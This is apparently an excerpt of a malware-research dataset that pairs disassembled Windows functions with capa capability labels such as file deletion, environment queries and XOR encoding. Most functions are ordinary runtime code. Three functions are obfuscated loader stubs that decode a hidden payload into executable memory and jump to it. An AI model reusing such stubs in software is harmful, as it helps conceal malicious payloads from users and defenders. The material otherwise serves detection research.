joyce8/EMBER2024-capa huggingface dataset:
Function at 0x404440
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [0x470b58]
test eax, eax
je 0x404455
push eax
call fcn.0042f027
add esp, 4
mov eax, dword [0x470b5c]
test eax, eax
je 0x404467
push eax
call fcn.0042f027
add esp, 4
mov eax, dword [0x470b54]
test eax, eax
je 0x404479
push eax
call fcn.0042f027
add esp, 4
mov eax, dword [0x470b50]
test eax, eax
je 0x40448b
push eax
call fcn.0042f027
add esp, 4
mov eax, dword [0x472368]
test eax, eax
je 0x4044ba
cmp dword [eax + 4], 2
jne 0x4044af
mov ecx, dword [eax + 0x18]
test ecx, ecx
je 0x4044af
push ecx
call fcn.0042f027
mov eax, dword [0x472368]
add esp, 4
mov eax, dword [eax]
mov dword [0x472368], eax
test eax, eax
jne 0x404494
mov eax, dword [0x472360]
mov dword [0x472368], eax
test eax, eax
je 0x4044ee
cmp dword [eax + 4], 1
jne 0x4044e3
mov ecx, dword [eax + 0x18]
test ecx, ecx
je 0x4044e3
push ecx
call fcn.0042f027
mov eax, dword [0x472368]
add esp, 4
mov eax, dword [eax]
mov dword [0x472368], eax
test eax, eax
jne 0x4044c8
call fcn.0040b770
cmp dword [0x471d70], 0
je 0x40463c
cmp dword [0x470b3c], 0
jne 0x404512
cmp dword [0x470b40], 0
je 0x404552
push dword [0x470b38]
push str._ASxxxx_Info_pass_count______________________3d_n
push 2
call fcn.0042eeda
add esp, 4
push eax
call fcn.004011b0
mov eax, dword [0x470b30]
add esp, 0xc
test eax, eax
je 0x404552
push eax
push str._ASxxxx_Info_residual_fuzz___________________3d_n
push 2
call fcn.0042eeda
add esp, 4
push eax
call fcn.004011b0
add esp, 0xc
push dword [0x472084]
push str._ASxxxx_Info_maxinc_include_file_level_______3d_n
push 2
call fcn.0042eeda
add esp, 4
push eax
call fcn.004011b0
add esp, 0xc
push dword [0x47207c]
push str._ASxxxx_Info_maxmcr_macro_expansion_level____3d_n
push 2
call fcn.0042eeda
add esp, 4
push eax
call fcn.004011b0
add esp, 0xc
push dword [0x472340]
push str._ASxxxx_Info_mcrcnt_macro_definitions________3d_n
push 2
call fcn.0042eeda
add esp, 4
push eax
call fcn.004011b0
add esp, 0xc
push dword [0x47233c]
push str._ASxxxx_Info_mcrexe_macros_executed__________3d_n
push 2
call fcn.0042eeda
add esp, 4
push eax
call fcn.004011b0
add esp, 0xc
push dword [0x472334]
push str._ASxxxx_Info_inlexe_inlines_executed_________3d_n
push 2
call fcn.0042eeda
add esp, 4
push eax
call fcn.004011b0
add esp, 0xc
push dword [0x472090]
push str._ASxxxx_Info_asmblk_1K_Byte_Allocations______3d_n
push 2
call fcn.0042eeda
add esp, 4
push eax
call fcn.004011b0
add esp, 0xc
push dword [0x47208c]
push str._ASxxxx_Info_mcrblk_1K_Byte_Allocations______3d_n
push 2
call fcn.0042eeda
add esp, 4
push eax
call fcn.004011b0
add esp, 0xc
push 0x4594b0
push 2
call fcn.0042eeda
add esp, 4
push eax
call fcn.004011b0
add esp, 8
push dword [ebp + 8]
call fcn.00430068
int3
Function at 0x43ec20
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.0043e818

Function at 0x43ec2b
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.0043e9a2

Function at 0x43fbd6
Capabilities:
Print debug messages

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.0043faaa

Function at 0x44280b
Capabilities:
Set environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.004421c9
Function at 0x42599a
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x50
pushal
call 0x4259a9
pop dword [ebp - 0x40]
mov eax, 0xa709ebe
sub eax, 0xa2e4515
sub dword [ebp - 0x40], eax
mov dword [ebp - 0x50], 0x8c626d80
sub dword [ebp - 0x50], 0x3e102835
mov dword [ebp - 0x4c], 0xce9b9a76
add dword [ebp - 0x4c], 0x6397b1cf
mov dword [ebp - 0x48], 0x5328544
add dword [ebp - 0x48], 0x4719beea
mov dword [ebp - 0x44], 0x6b14bd9e
sub dword [ebp - 0x44], 0x6b14bd9e
lea eax, [ebp - 0x50]
push eax
mov eax, 0x8759a3fb
add eax, 0x78ea0e19
add eax, dword [ebp - 0x40]
call dword [eax]
mov dword [ebp - 0x50], 0x7d8beb7f
sub dword [ebp - 0x50], 0x9198229
mov dword [ebp - 0x4c], 0x404099f0
add dword [ebp - 0x4c], 0x12bc785
mov dword [ebp - 0x48], 0xc780a33e
sub dword [ebp - 0x48], 0x641136d2
mov dword [ebp - 0x44], 0x2e019b30
add dword [ebp - 0x44], 0xd1fe64d0
lea ebx, [ebp - 0x50]
push ebx
push eax
mov eax, 0xa349d920
add eax, 0x5cf9d950
add eax, dword [ebp - 0x40]
call dword [eax]
push 0x40
push 0x1000
push 0x44fb4
push 0
call eax
mov ecx, 0x49082768
add ecx, 0xb6f82363
mov edx, eax
mov ebx, 0x464e00
add ebx, dword [ebp - 0x40]
mov esi, 0x311a124
sub esi, 0x9170192e
xor dword [ebp - 0x38], esi
mov edi, dword [ebx]
xor dword [ebp - 0x10], 0xa9e8487c
xor edi, esi
add dword [ebp - 0x1c], esi
mov dword [edx], edi
add edx, 0x2024bd64
sub edx, 0x2024bd60
add ebx, 4
loop 0x425ac5
add eax, 0xa8753707
sub eax, 0xa8741908
xor ebx, ebx
add ebx, eax
add eax, 0xa657f7b5
add eax, 0x59a80850
mov ecx, 0x400000
add ecx, dword [ebp - 0x40]
call ebx
leave
ret
Function at 0x10002021
Capabilities:
Query environment variable

Disassembly:
cmp dword [esp + 0xc], 0
push ebx
push ebp
je 0x1000209d
xor ebp, ebp
push ebp
push dword [esp + 0x18]
push dword [esp + 0x14]
call sym.java.dll__JNU_GetStringPlatformChars_12
mov ebx, eax
test ebx, ebx
je 0x1000209d
push edi
push ebp
push ebp
push ebx
call dword [sym.imp.kernel32.dll_GetEnvironmentVariableA]
mov ebp, eax
test ebp, ebp
je 0x10002088
push ebp
call dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov edi, eax
pop ecx
test edi, edi
je 0x10002088
push ebp
push edi
push ebx
call dword [sym.imp.kernel32.dll_GetEnvironmentVariableA]
push edi
test eax, eax
je 0x10002081
push dword [esp + 0x14]
call sym.java.dll__JNU_NewStringPlatform_8
push edi
mov ebp, eax
call dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
pop ecx
jmp 0x1000208a
call dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
pop ecx
xor ebp, ebp
push ebx
push dword [esp + 0x1c]
push dword [esp + 0x18]
call sym.java.dll__JNU_ReleaseStringPlatformChars_12
mov eax, ebp
pop edi
jmp 0x1000209f
xor eax, eax
pop ebp
pop ebx
ret 0xc

Function at 0x10002819
Capabilities:
Identify system language via api

Disassembly:
cmp dword [esp + 0xc], 0
je 0x10002828
call dword [sym.imp.kernel32.dll_GetUserDefaultLCID]
jmp 0x1000282e
call dword [sym.imp.kernel32.dll_GetUserDefaultUILanguage]
push esi
movzx eax, ax
push edi
push eax
call fcn.100115e0
mov esi, eax
pop ecx
test esi, esi
je 0x1000285a
mov ecx, dword [esp + 0xc]
push esi
push ecx
mov edx, dword [ecx]
call dword [edx + 0x29c]
push esi
mov edi, eax
call dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
pop ecx
jmp 0x1000286a
push str.memory_allocation_error
push dword [esp + 0x10]
call sym.java.dll__JNU_ThrowOutOfMemoryError_8
xor edi, edi
mov eax, edi
pop edi
pop esi
ret 0xc

Function at 0x10003d57
Capabilities:
Query environment variable

Disassembly:
push ecx
push ecx
push ebx
push ebp
push esi
mov esi, dword [esp + 0x18]
push edi
push esi
call sym.java.dll__JNU_ClassString_4
mov ebp, eax
test ebp, ebp
je 0x10003da0
mov ecx, dword [esi]
push str.__B_V
push str._init_
push ebp
push esi
call dword [ecx + 0x84]
mov dword [esp + 0x14], eax
test eax, eax
je 0x10003da0
call dword [sym.imp.kernel32.dll_GetEnvironmentStrings]
mov edi, eax
test edi, edi
jne 0x10003da9
push str.GetEnvironmentStrings_failed
push esi
call sym.java.dll__JNU_ThrowOutOfMemoryError_8
xor eax, eax
pop edi
pop esi
pop ebp
pop ebx
pop ecx
pop ecx
ret
xor ebx, ebx
cmp byte [edi], bl
je 0x10003dbc
mov al, byte [ebx + edi]
inc ebx
test al, al
jne 0x10003daf
cmp byte [ebx + edi], al
jne 0x10003daf
mov eax, dword [esi]
push ebx
push esi
call dword [eax + 0x2c0]
mov ecx, eax
mov dword [esp + 0x10], ecx
push edi
test ecx, ecx
jne 0x10003dd9
call dword [sym.imp.kernel32.dll_FreeEnvironmentStringsA]
jmp 0x10003da0
mov eax, dword [esi]
push ebx
push 0
push ecx
push esi
call dword [eax + 0x340]
push edi
call dword [sym.imp.kernel32.dll_FreeEnvironmentStringsA]
push dword [esp + 0x10]
mov eax, dword [esi]
push dword [esp + 0x18]
push ebp
push esi
call dword [eax + 0x70]
add esp, 0x10
jmp 0x10003da2
Function at 0x10007bba
Capabilities:
Create new key via cryptacquirecontext
Generate random numbers via winapi

Disassembly:
push ecx
push ebx
push ebp
push esi
mov esi, dword [sym.imp.advapi32.dll_CryptAcquireContextA]
lea eax, [esp + 0xc]
push edi
push 0
xor ebp, ebp
mov edi, str.J2SE
inc ebp
xor bl, bl
push ebp
push 0
push edi
push eax
call esi
test eax, eax
jne 0x10007bf4
push 8
push ebp
push eax
push edi
lea eax, [esp + 0x20]
push eax
call esi
test eax, eax
jne 0x10007bf4
xor al, al
jmp 0x10007c51
mov esi, dword [esp + 0x18]
push dword [esp + 0x20]
push esi
mov eax, dword [esi]
call dword [eax + 0x2ac]
mov ecx, dword [esi]
mov ebp, eax
push 0
push dword [esp + 0x24]
push esi
call dword [ecx + 0x2e0]
mov edi, eax
test edi, edi
je 0x10007c43
push edi
push ebp
push dword [esp + 0x18]
call dword [sym.imp.advapi32.dll_CryptGenRandom]
mov ecx, dword [esi]
test eax, eax
push 1
pop eax
push 0
push edi
push dword [esp + 0x28]
movzx ebx, bl
push esi
cmovne ebx, eax
call dword [ecx + 0x300]
push 0
push dword [esp + 0x14]
call dword [sym.imp.advapi32.dll_CryptReleaseContext]
mov al, bl
pop edi
pop esi
pop ebp
pop ebx
pop ecx
ret 0xc

Function at 0x10007f15
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push ebx
push esi
push dword [0x1001ff58]
push dword [esp + 0x18]
push dword [esp + 0x14]
call fcn.1000a1e8
mov esi, eax
add esp, 0xc
test esi, esi
je 0x10007f66
push esi
call dword [sym.imp.kernel32.dll_GetFileAttributesW]
push eax
push esi
call fcn.100115e0
push esi
mov ebx, eax
call dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
add esp, 0xc
cmp ebx, 0xffffffff
je 0x10007f66
mov ecx, dword [esp + 0x18]
sub ecx, 1
je 0x10007f75
sub ecx, 1
je 0x10007f6d
dec ecx
sub ecx, 1
je 0x10007f75
xor al, al
pop esi
pop ebx
ret 0x10
and bl, 0x11
cmp bl, 1
je 0x10007f66
mov al, 1
jmp 0x10007f68

Function at 0x10007f79
Capabilities:
Create directory

Disassembly:
push edi
push dword [0x1001ff58]
push dword [esp + 0x14]
push dword [esp + 0x10]
call fcn.1000a1e8
mov edi, eax
add esp, 0xc
test edi, edi
je 0x10007fb3
push esi
push 0
push edi
call dword [sym.imp.kernel32.dll_CreateDirectoryW]
push edi
mov esi, eax
call dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
pop ecx
test esi, esi
pop esi
je 0x10007fb3
mov al, 1
jmp 0x10007fb5
xor al, al
pop edi
ret 0xc
Function at 0x10007fba
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push esi
push edi
xor edi, edi
push edi
push dword [esp + 0x18]
push dword [esp + 0x14]
call fcn.1000a6ac
mov esi, eax
add esp, 0xc
test esi, esi
je 0x1000803c
push esi
call fcn.100115e0
pop ecx
test eax, eax
jne 0x10008034
push edi
push 0x200080
push 1
push edi
push 3
push 0xc0000000
push esi
call dword [sym.imp.kernel32.dll_CreateFileW]
mov edi, eax
cmp edi, 0xffffffff
jne 0x10008043
call dword [sym.imp.kernel32.dll_GetLastError]
mov edi, eax
cmp edi, 0x50
je 0x10008034
cmp edi, 0xb7
je 0x10008034
push esi
call dword [sym.imp.kernel32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
jne 0x10008034
push edi
call dword [sym.imp.kernel32.dll_SetLastError]
push str.Could_not_open_file
push dword [esp + 0x10]
call sym.java.dll__JNU_ThrowIOExceptionWithLastError_8
push esi
call dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
pop ecx
xor al, al
pop edi
pop esi
ret 0xc
push esi
call dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
pop ecx
push edi
call dword [sym.imp.kernel32.dll_CloseHandle]
mov al, 1
jmp 0x1000803e

Function at 0x1000836f
Capabilities:
Get disk size

Disassembly:
push ebp
lea ebp, [esp - 0x7a8]
sub esp, 0x828
mov eax, dword [0x1001ff00]
xor eax, ebp
mov dword [ebp + 0x7a4], eax
mov eax, dword [ebp + 0x7b8]
xorps xmm0, xmm0
mov ecx, dword [ebp + 0x7b0]
push ebx
push esi
push edi
push dword [0x1001ff58]
movlpd qword [ebp - 0x80], xmm0
push eax
push ecx
call fcn.1000a1e8
add esp, 0xc
mov ebx, eax
lea eax, [ebp - 0x60]
push 0x400
push eax
push ebx
call dword [sym.imp.kernel32.dll_GetVolumePathNameW]
test eax, eax
je 0x1000840e
lea eax, [ebp - 0x70]
push eax
lea eax, [ebp - 0x78]
push eax
lea eax, [ebp - 0x68]
push eax
lea eax, [ebp - 0x60]
push eax
call dword [sym.imp.kernel32.dll_GetDiskFreeSpaceExW]
test eax, eax
je 0x1000840e
mov eax, dword [ebp + 0x7bc]
sub eax, 0
je 0x10008406
sub eax, 1
je 0x100083fe
sub eax, 1
jne 0x1000840e
mov esi, dword [ebp - 0x68]
mov edi, dword [ebp - 0x64]
jmp 0x10008414
mov esi, dword [ebp - 0x70]
mov edi, dword [ebp - 0x6c]
jmp 0x10008414
mov esi, dword [ebp - 0x78]
mov edi, dword [ebp - 0x74]
jmp 0x10008414
mov edi, dword [ebp - 0x7c]
mov esi, dword [ebp - 0x80]
push ebx
call dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
pop ecx
mov ecx, dword [ebp + 0x7a4]
mov edx, edi
pop edi
mov eax, esi
xor ecx, ebp
pop esi
pop ebx
call fcn.10014785
add ebp, 0x7a8
leave
ret 0x10
Function at 0x1000b6d5
Capabilities:
Get common file path

Disassembly:
sub esp, 0x108
mov eax, dword [0x1001ff00]
xor eax, esp
mov dword [esp + 0x104], eax
push ebp
push esi
push edi
mov edi, dword [esp + 0x118]
lea eax, [esp + 0xc]
mov ebp, 0x104
xor esi, esi
push ebp
push eax
call dword [sym.imp.kernel32.dll_GetSystemDirectoryA]
test eax, eax
je 0x1000b738
lea eax, [esp + 0xc]
push 0x10017e60
push eax
call sub.api_ms_win_crt_string_l1_1_0.dll_strcat
lea eax, [esp + 0x14]
push edi
push eax
call sub.api_ms_win_crt_string_l1_1_0.dll_strcat
add esp, 0x10
lea eax, [esp + 0xc]
push eax
call dword [sym.imp.kernel32.dll_LoadLibraryA]
mov esi, eax
test esi, esi
jne 0x1000b772
push ebp
lea eax, [esp + 0x10]
push eax
call dword [sym.imp.kernel32.dll_GetWindowsDirectoryA]
test eax, eax
je 0x1000b772
lea eax, [esp + 0xc]
push 0x10017e60
push eax
call sub.api_ms_win_crt_string_l1_1_0.dll_strcat
lea eax, [esp + 0x14]
push edi
push eax
call sub.api_ms_win_crt_string_l1_1_0.dll_strcat
add esp, 0x10
lea eax, [esp + 0xc]
push eax
call dword [sym.imp.kernel32.dll_LoadLibraryA]
mov esi, eax
mov ecx, dword [esp + 0x110]
mov eax, esi
pop edi
pop esi
pop ebp
xor ecx, esp
call fcn.10014785
add esp, 0x108
ret

Function at 0x100115e0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x5c
pushal
call 0x100115ef
pop dword [ebp - 0x4c]
mov eax, 0x94ab0ebc
add eax, 0x7b560733
sub dword [ebp - 0x4c], eax
mov dword [ebp - 0x5c], 0xe6f064ae
add dword [ebp - 0x5c], 0x6761e09d
mov dword [ebp - 0x58], 0x79b35fb9
sub dword [ebp - 0x58], 0x47801374
mov dword [ebp - 0x54], 0x364bfefe
add dword [ebp - 0x54], 0x16004530
mov dword [ebp - 0x50], 0x98c0c7fd
add dword [ebp - 0x50], 0x673f3803
lea eax, [ebp - 0x5c]
push eax
mov eax, 0x8d876e9e
sub eax, 0x7d860e3e
add eax, dword [ebp - 0x4c]
call dword [eax]
mov dword [ebp - 0x5c], 0xaa979164
sub dword [ebp - 0x5c], 0x3625280e
mov dword [ebp - 0x58], 0x6428e45e
sub dword [ebp - 0x58], 0x22bc82e9
mov dword [ebp - 0x54], 0x43fa9096
sub dword [ebp - 0x54], 0xe08b242a
mov dword [ebp - 0x50], 0xa9fcac8b
sub dword [ebp - 0x50], 0xa9fcac8b
lea ebx, [ebp - 0x5c]
push ebx
push eax
mov eax, 0x400159b5
sub eax, 0x2ffff951
add eax, dword [ebp - 0x4c]
call dword [eax]
push 0x40
push 0x1000
push 0x38116
push 0
call eax
mov ecx, 0xb074f025
sub ecx, 0xb074a965
xor edi, edi
add edi, eax
mov esi, 0x10023600
add esi, dword [ebp - 0x4c]
mov ebx, 0xb78ff3be
add ebx, 0x13568c51
sub dword [ebp - 0x30], edx
mov edx, dword [esi]
mov dword [ebp - 0x44], 0xb6585882
sub edx, ebx
xor dword [ebp - 0x34], ebx
mov dword [edi], edx
sub dword [ebp - 0x30], 0xfda751f3
add edi, 0x1998c032
add edi, 0xe6673fd2
add esi, 0x6c204e99
add esi, 0x93dfb16b
loop 0x1001170d
add eax, 0x34a5a6f4
add eax, 0xcb5b66df
mov ebx, eax
add eax, 0x1e2ad57e
sub eax, 0x1e2ad579
mov ecx, 0x10000000
add ecx, dword [ebp - 0x4c]
call ebx
leave
ret
Function at 0x44bbc9
Capabilities:
Copy file
Move file

Disassembly:
mov ecx, dword [esp + 4]
sub esp, 0x438
push ebx
mov bl, byte [esp + 0x448]
lea eax, [esp + 0x230]
call fcn.0040ffb0
mov ecx, dword [esp + 0x444]
lea eax, [esp + 0x24]
call fcn.0040ffb0
lea eax, [esp + 0x24]
push eax
lea ecx, [esp + 0x234]
push ecx
call dword [sym.imp.KERNEL32.DLL_lstrcmpiW]
test eax, eax
jne 0x44bc48
test bl, bl
je 0x44bc71
lea edx, [esp + 0x24]
push edx
lea eax, [esp + 0x234]
push eax
call fcn.004133e4
add esp, 8
test eax, eax
je 0x44bc3e
lea ecx, [esp + 0x24]
push ecx
lea edx, [esp + 0x234]
push edx
call dword [sym.imp.KERNEL32.DLL_MoveFileW]
mov al, 1
pop ebx
add esp, 0x438
ret
lea eax, [esp + 0x230]
push eax
call fcn.00436ac4
add esp, 4
test al, al
je 0x44bc71
lea ecx, [esp + 0x24]
push ecx
call fcn.00436ac4
add esp, 4
test al, al
je 0x44bc7b
test bl, bl
jne 0x44bc9d
xor al, al
pop ebx
add esp, 0x438
ret
lea edx, [esp + 0x24]
push edx
call fcn.004366be
add esp, 4
test al, al
je 0x44bc71
lea eax, [esp + 0x24]
push eax
call fcn.00436ac4
add esp, 4
test al, al
je 0x44bc71
lea ecx, [esp + 0x230]
push 0x487240
push ecx
call fcn.00411663
lea edx, [esp + 0x238]
push edx
call fcn.004112d5
lea edx, [esp + 0x30]
xor ecx, ecx
push edx
mov word [esp + eax*2 + 0x242], cx
call fcn.004112d5
xor ecx, ecx
mov word [esp + eax*2 + 0x36], cx
lea edx, [esp + 0x240]
lea eax, [esp + 0x34]
mov dword [esp + 0x1c], edx
add esp, 0x10
mov dword [esp + 0x10], eax
xor eax, eax
lea edx, [esp + 4]
mov ecx, 0x614
push edx
mov dword [esp + 0x1e], eax
mov dword [esp + 0x22], eax
mov dword [esp + 0x1a], eax
mov dword [esp + 8], eax
mov dword [esp + 0xc], 2
mov word [esp + 0x18], cx
call dword [sym.imp.SHELL32.dll_SHFileOperationW]
test eax, eax
sete al
pop ebx
add esp, 0x438
ret
Function at 0x44bd29
Capabilities:
Copy file
Delete file
Enumerate files on windows
Move file

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
mov eax, 0x10b4
call fcn.00425210
mov ecx, dword [ebp + 8]
push ebx
push esi
push edi
lea eax, [esp + 0x438]
xor bl, bl
call fcn.0040ffb0
mov ecx, dword [ebp + 0xc]
lea eax, [esp + 0x648]
call fcn.0040ffb0
lea eax, [esp + 0x648]
push eax
lea ecx, [esp + 0x43c]
push ecx
call fcn.00436a1d
lea edx, [esp + 0x440]
push edx
mov byte [esp + 0x1b], al
call fcn.00436ac4
add esp, 0xc
test al, al
je 0x44bd9e
lea eax, [esp + 0x438]
push 0x487240
push eax
call fcn.00411663
add esp, 8
lea ecx, [esp + 0x648]
push ecx
call fcn.00436ac4
add esp, 4
test al, al
je 0x44bdc7
lea edx, [esp + 0x648]
push 0x487240
push edx
call fcn.00411663
add esp, 8
lea eax, [esp + 0xcb0]
push eax
lea ecx, [esp + 0xebc]
push ecx
lea edx, [esp + 0xab0]
push edx
lea eax, [esp + 0x1c]
push eax
lea ecx, [esp + 0x448]
push ecx
call fcn.00413db0
add esp, 0x14
lea edx, [esp + 0x858]
push edx
lea eax, [esp + 0x43c]
push eax
call dword [sym.imp.KERNEL32.DLL_FindFirstFileW]
mov esi, eax
mov byte [esp + 0xe], 1
cmp esi, 0xffffffff
je 0x44bf7d
mov edi, dword [sym.imp.KERNEL32.DLL_CopyFileW]
cmp byte [esp + 0xe], 1
jne 0x44bf7d
test byte [esp + 0x858], 0x10
jne 0x44bf5d
lea ecx, [esp + 0x228]
push ecx
lea edx, [esp + 0x64c]
push edx
lea eax, [esp + 0xcb8]
push eax
lea ecx, [esp + 0xec4]
push ecx
lea edx, [esp + 0x894]
push edx
call fcn.00436879
add esp, 0x14
lea eax, [esp + 0x10]
push eax
lea ecx, [esp + 0x1c]
push ecx
call fcn.00411691
lea edx, [esp + 0xab0]
push edx
lea eax, [esp + 0x24]
push eax
call fcn.00411663
lea ecx, [esp + 0x894]
push ecx
lea edx, [esp + 0x2c]
push edx
call fcn.00411663
lea eax, [esp + 0x240]
push eax
call fcn.00436b22
add esp, 0x1c
test al, al
je 0x44bedb
cmp byte [ebp + 0x10], 0
je 0x44bf34
lea ecx, [esp + 0x228]
push ecx
lea edx, [esp + 0x1c]
push edx
call dword [sym.imp.KERNEL32.DLL_lstrcmpiW]
test eax, eax
je 0x44bf44
lea eax, [esp + 0x228]
push eax
call dword [sym.imp.KERNEL32.DLL_DeleteFileW]
cmp byte [ebp + 0x14], 1
jne 0x44bf1f
cmp byte [esp + 0xf], 0
jne 0x44befd
lea ecx, [esp + 0x228]
push ecx
lea edx, [esp + 0x1c]
push edx
call dword [sym.imp.KERNEL32.DLL_MoveFileW]
jmp 0x44bf30
push 0
lea eax, [esp + 0x22c]
push eax
lea ecx, [esp + 0x20]
push ecx
call edi
test eax, eax
je 0x44bf34
lea edx, [esp + 0x18]
push edx
call dword [sym.imp.KERNEL32.DLL_DeleteFileW]
jmp 0x44bf30
push 0
lea eax, [esp + 0x22c]
push eax
lea ecx, [esp + 0x20]
push ecx
call edi
test eax, eax
jne 0x44bf5b
push esi
call dword [sym.imp.KERNEL32.DLL_FindClose]
xor al, al
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
lea edx, [esp + 0x228]
push edx
lea eax, [esp + 0x1c]
push eax
call dword [sym.imp.KERNEL32.DLL_MoveFileW]
test eax, eax
je 0x44bf34
mov bl, 1
lea ecx, [esp + 0x858]
push ecx
push esi
call dword [sym.imp.KERNEL32.DLL_FindNextFileW]
test eax, eax
jne 0x44be20
mov byte [esp + 0xe], al
jmp 0x44be20
push esi
call dword [sym.imp.KERNEL32.DLL_FindClose]
pop edi
pop esi
mov al, bl
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x44bf8d
Capabilities:
Delete file
Enumerate files on windows

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0xa88
mov ecx, dword [ebp + 8]
push ebx
push esi
lea eax, [esp + 0x18]
mov byte [esp + 0xf], 0
call fcn.0040ffb0
lea eax, [esp + 0x18]
push eax
call fcn.00436ac4
add esp, 4
test al, al
je 0x44bfcf
lea ecx, [esp + 0x18]
push 0x487240
push ecx
call fcn.00411663
add esp, 8
lea edx, [esp + 0x680]
push edx
lea eax, [esp + 0x88c]
push eax
lea ecx, [esp + 0x480]
push ecx
lea edx, [esp + 0x1c]
push edx
lea eax, [esp + 0x28]
push eax
call fcn.00413db0
add esp, 0x14
lea ecx, [esp + 0x228]
push ecx
lea edx, [esp + 0x1c]
push edx
call dword [sym.imp.KERNEL32.DLL_FindFirstFileW]
mov esi, eax
mov bl, 1
cmp esi, 0xffffffff
je 0x44c094
cmp bl, 1
jne 0x44c094
test byte [esp + 0x228], 0x10
jne 0x44c06e
lea eax, [esp + 0x10]
push eax
lea ecx, [esp + 0x1c]
push ecx
mov byte [esp + 0x17], bl
call fcn.00411691
lea edx, [esp + 0x480]
push edx
lea eax, [esp + 0x24]
push eax
call fcn.00411663
lea ecx, [esp + 0x264]
push ecx
lea edx, [esp + 0x2c]
push edx
call fcn.00411663
add esp, 0x18
lea eax, [esp + 0x18]
push eax
call dword [sym.imp.KERNEL32.DLL_DeleteFileW]
cmp eax, 1
jne 0x44c085
lea ecx, [esp + 0x228]
push ecx
push esi
call dword [sym.imp.KERNEL32.DLL_FindNextFileW]
test eax, eax
jne 0x44c015
xor bl, bl
jmp 0x44c015
push esi
call dword [sym.imp.KERNEL32.DLL_FindClose]
xor al, al
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
push esi
call dword [sym.imp.KERNEL32.DLL_FindClose]
mov al, byte [esp + 0xf]
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x1002aadf
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
pushal
call 0x1002aaee
pop dword [ebp - 0x14]
mov eax, 0x3e034e17
sub eax, 0x2e00a329
sub dword [ebp - 0x14], eax
mov dword [ebp - 0x24], 0xb42686e
sub dword [ebp - 0x24], 0xbcf02323
mov dword [ebp - 0x20], 0x9d614468
sub dword [ebp - 0x20], 0x6b2df823
mov dword [ebp - 0x1c], 0x7a9a2afe
sub dword [ebp - 0x1c], 0x2e4de6d0
mov dword [ebp - 0x18], 0xaf60aebc
add dword [ebp - 0x18], 0x509f5144
lea eax, [ebp - 0x24]
push eax
mov eax, sym.imp.kernel32.dll_GetModuleHandleA
add eax, dword [ebp - 0x14]
call dword [eax]
mov dword [ebp - 0x24], 0xb465a064
sub dword [ebp - 0x24], 0x3ff3370e
mov dword [ebp - 0x20], 0x17e0b0bf
add dword [ebp - 0x20], 0x298bb0b6
mov dword [ebp - 0x1c], 0x41b92578
sub dword [ebp - 0x1c], 0xde49b90c
mov dword [ebp - 0x18], 0xc1ac8b71
add dword [ebp - 0x18], 0x3e53748f
lea ebx, [ebp - 0x24]
push ebx
push eax
mov eax, 0x9cb730e6
sub eax, 0x8cb470be
add eax, dword [ebp - 0x14]
call dword [eax]
push 0x40
push 0x1000
push 0x34640
push 0
call eax
mov ecx, 0xe49b99d9
sub ecx, 0xe49b5a28
mov edi, eax
mov edx, 0x10039600
add edx, dword [ebp - 0x14]
mov esi, 0x15c63503
sub esi, 0x480e378b
sub dword [ebp - 0x10], edx
mov ebx, dword [edx]
sub dword [ebp - 8], ecx
xor ebx, esi
mov dword [edi], ebx
add dword [ebp - 4], 0x493a2a6e
add edi, 4
add edx, 0xb8af667e
add edx, 0x47509986
loop 0x1002ac05
add eax, 0x8db05f02
add eax, 0x72509295
mov ebx, eax
add eax, 0xc5b076af
sub eax, 0xc5b076aa
mov ecx, 0x50a695ac
add ecx, 0xbf596a54
add ecx, dword [ebp - 0x14]
call ebx
leave
ret